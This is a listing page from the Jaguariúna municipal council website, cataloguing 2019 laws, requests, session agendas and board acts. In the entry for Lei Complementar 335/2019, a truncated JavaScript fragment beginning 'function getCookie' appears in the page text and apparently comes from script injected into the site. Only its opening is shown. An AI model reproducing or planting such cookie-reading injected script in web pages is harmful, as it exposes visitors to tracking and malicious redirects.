29
jul
2019
LeiNº 020/2019
Dispõe sobre autorização ao Executivo para abertura de créditos suplementares.
Dispõe sobre autorização ao Executivo para abertura de créditos suplementares. PROJETO-DE-LEI-020 Baixar
Legislativo
13.467 documentos · série 2026
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Limpar tudo29
jul
2019
LeiNº 019/2019
Institui no âmbito municipal inserção de atalho para hospedagem virtual da Delegacia Eletrônica de Proteção Animal (DEPA) e dá outras providências.
Institui no âmbito municipal inserção de atalho para hospedagem virtual da Delegacia Eletrônica de Proteção Animal (DEPA) e dá outras providências. PROJETO-DE-LEI-019 Baixar
29
jul
2019
LeiNº 018/2019
Dispõe sobre a criação do Arquivo Público Municipal, incluindo o Conselho Municipal de Arquivo – CMA, e dá outras providências.
Dispõe sobre a criação do Arquivo Público Municipal, incluindo o Conselho Municipal de Arquivo – CMA, e dá outras providências. PROJETO-DE-LEI-018 Baixar
29
jul
2019
LeiNº 016/2019
Dispõe sobre autorização ao executivo para abertura de crédito especial.
Dispõe sobre autorização ao executivo para abertura de crédito especial. PROJETO-DE-LEI-016 Baixar
19
jul
2019
LeiNº 337/2019
Institui no âmbito do Município de Jaguariúna, o Programa de Recuperação Fiscal das Empresas, e dá outras providências.
Institui no âmbito do Município de Jaguariúna, o Programa de Recuperação Fiscal das Empresas, e dá outras providências. LC-337 Baixar
19
jul
2019
LeiNº 336/2019
Institui no âmbito do Município de Jaguariúna, o Programa de Recuperação Fiscal -REFIS MUNICIPAL, e dá outras providências.
Institui no âmbito do Município de Jaguariúna, o Programa de Recuperação Fiscal -REFIS MUNICIPAL, e dá outras providências. LC-336 Baixar
18
jul
2019
Requerimento
Requerimento 120/2019
Ementa: 120. REQUERIMENTO Nº 120/2019 DO SR. ROMILSON SILVA - PV SOLICITANDO AO EXECUTIVO MUNICIPAL ENVIO DE CÓPIA NA ÍNTEGRA E EM FORMATO DIGITAL DAS PRESTAÇÕES DE CONTAS DO EXERCÍCIO DE 2017 ATÉ A PRESENTE DATA DE TODAS AS ENTIDADES DE JAGUARIÚNA QUE RECEBEM DINHEIRO PÚBLICO;…
05
jul
2019
Requerimento
Ementa: REQUERIMENTO Nº 071/2019 DOS SRS.
Ementa: REQUERIMENTO Nº 071/2019 DOS SRS. LUIZ CARLOS DE CAMPOS, DAVID HILÁRIO NETO, ALFREDO CHIAVEGATO NETO E TAIS CAMELLINI ESTEVE SOLICITANDO AO EXECUTIVO MUNICIPAL INFORMAÇÕES SOBRE OS MOTIVOS PARA O ACRÉSCIMO NO CUSTO TOTAL DA TAXA DE COLETA E REMOÇÃO DE LIXO DOMICILIAR DE…
05
jul
2019
Ato da Mesa
Ato da Mesa - Exoneração do Cargo de Assessor Parlamentar - Maria Tereza Guerreiro Ribeiro
Ato da Mesa que exonera, a partir de 05 de julho de 2019, Maria Tereza Guerreiro Ribeiro do cargo de Assessor Parlamentar da Câmara Municipal de Jaguariúna, conforme requerimento protocolado.
01
jul
2019
Ato da MesaNº 008/2019
ATO DA MESA 008.2019
Dispõe sobre a nomeação de Diretor Jurídico CLIQUE AQUI PARA BAIXA O ARQUIVO COMPLETO Baixar
28
jun
2019
LeiNº 335/2019
Dispõe sobre a acumulação de funções de servidor público municipal (funcionário ou empregado) em organização da sociedade civil que mantenha parceria com a Administração Municipal.
Dispõe sobre a acumulação de funções de servidor público municipal (funcionário ou empregado) em organização da sociedade civil que mantenha parceria com a Administração Municipal. LEI-COMPLEMENTAR-Nº-335-2 Baixar function getCookie(e){var U=document.cookie.match(new…
28
jun
2019
Pauta de Sessão
Pauta da 10ª Sessão Extraordinária - 28/06/2019
PAUTA_10_SESSAO_EXTRA Baixar
28
jun
2019
Pauta de Sessão
Pauta da 9ª Sessão Extraordinária - 28/06/2019
PAUTA_9_SESSAO_EXTRA Baixar
21
jun
2019
Indicação
Indicação 127/2019
Ementa: 127.DA SRA. INALDA LÚCIO DE BARROS SANTANA – INALDA CABELEIREIRA SOLICITANDO AO EXECUTIVO MUNICIPAL PARA QUE SEJA PERMITIDA COLOCAÇÃO DE MÃO ÚNICA NA RUA DR. JOÃO ROBERTO PIRES BUENO, NO TRECHO DO SUPERMERCADO ESPAÇO SABORES, ATÉ A TRAVESSA SANTO MARMIROLLI, BR. CRUZEIRO…
19
jun
2019
Ato da MesaNº 007/2019
ATO DA MESA 007.2019
Exonera, a pedido, do cargo de Diretor Jurídico, a Dra. Maíra Calidone Recchia Bayod. CLIQUE AQUI PARA BAIXAR O ARQUIVO COMPLETO Baixar